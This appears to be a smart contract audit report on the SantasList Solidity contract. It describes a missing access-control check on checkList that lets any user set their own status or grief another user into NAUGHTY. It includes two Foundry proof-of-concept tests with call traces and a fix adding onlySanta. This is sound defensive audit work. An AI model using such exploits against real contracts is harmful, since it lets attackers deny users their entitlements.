Summary
SantasList::checkList function which is meant to be called by only santa was left to be called by any user interracting with santalist.
Vulnerability Details
the SantasList::checklist function was stated in the comment that it can only be called by santa here but unfortunately was left open to users. The function give users to set themselves to any enum attributes they desired for themselves or change the status of other user to Good or Bad without approval or confirmation from santa .
Impact
users can decide to give themselves their desired attributes which is not backed by confirmation of the santa.
Grief users have the power to set other users attribute to NAUGHTY to stop them from getting any present from santaList.
POC1
function testCheckListCalledByUser() public {
vm.prank(user);
santasList.checkList(user, SantasList.Status.NICE);
assertEq(
uint256(santasList.getNaughtyOrNiceOnce(user)),
uint256(SantasList.Status.NICE)
);
}
Add the above test to santaList.t.sol and test them with forge t --mt testCheckListCalledByUser -vvvvv
below is the output of the call trace
[16037] SantasListTest::testCheckListCalledByUser()
├─ [0] VM::prank(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ └─ ← ()
├─ [4211] SantasList::checkList(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 0)
│ ├─ emit CheckedOnce(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 0)
│ └─ ← ()
├─ [690] SantasList::getNaughtyOrNiceOnce(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
│ └─ ← 0
└─ ← ()
POC2
function testgriefUserStopedUserfromCollectPresent() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.NICE);
santasList.checkTwice(user, SantasList.Status.NICE);
vm.stopPrank();
address griefUser = makeAddr("griefUser");
vm.prank(griefUser);
santasList.checkList(user, SantasList.Status.NAUGHTY);
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(user);
vm.expectRevert(SantasList.SantasList__NotNice.selector);
santasList.collectPresent();
vm.stopPrank();
}
Also add the above function to santaList.t.sol and test with forge t --mt testgriefUserStopedUserfromCollectPresent -vvvvv to test for a grief user stopping another user from claiming his present
call trace below
[53105] SantasListTest::testgriefUserStopedUserfromCollectPresent()
├─ [0] VM::startPrank(santa: [0x70C9C64bFC5eD9611F397B04bc9DF67eb30e0FcF])
│ └─ ← ()
├─ [4211] SantasList::checkList(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 0)
│ ├─ emit CheckedOnce(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 0)
│ └─ ← ()
├─ [4519] SantasList::checkTwice(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 0)
│ ├─ emit CheckedTwice(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 0)
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← griefUser: [0x2c0DB1460A017A7DE1c2F9CB0F3aE9430DD8c5f6]
├─ [0] VM::label(griefUser: [0x2c0DB1460A017A7DE1c2F9CB0F3aE9430DD8c5f6], griefUser)
│ └─ ← ()
├─ [0] VM::prank(griefUser: [0x2c0DB1460A017A7DE1c2F9CB0F3aE9430DD8c5f6])
│ └─ ← ()
├─ [22111] SantasList::checkList(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 2)
│ ├─ emit CheckedOnce(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 2)
│ └─ ← ()
├─ [283] SantasList::CHRISTMAS_2023_BLOCK_TIME() [staticcall]
│ └─ ← 1703480381 [1.703e9]
├─ [0] VM::warp(1703480382 [1.703e9])
│ └─ ← ()
├─ [0] VM::startPrank(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ └─ ← ()
├─ [0] VM::expectRevert(SantasList__NotNice())
│ └─ ← ()
├─ [3023] SantasList::collectPresent()
│ └─ ← "SantasList__NotNice()"
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
Tools Used
Manual Review and Foundry
Recommendations
SantasList::checklist should be guarded properly to give only santa the authourity to call the function.
- function checkList(address person, Status status) external {
+ function checkList(address person, Status status) external onlySanta {
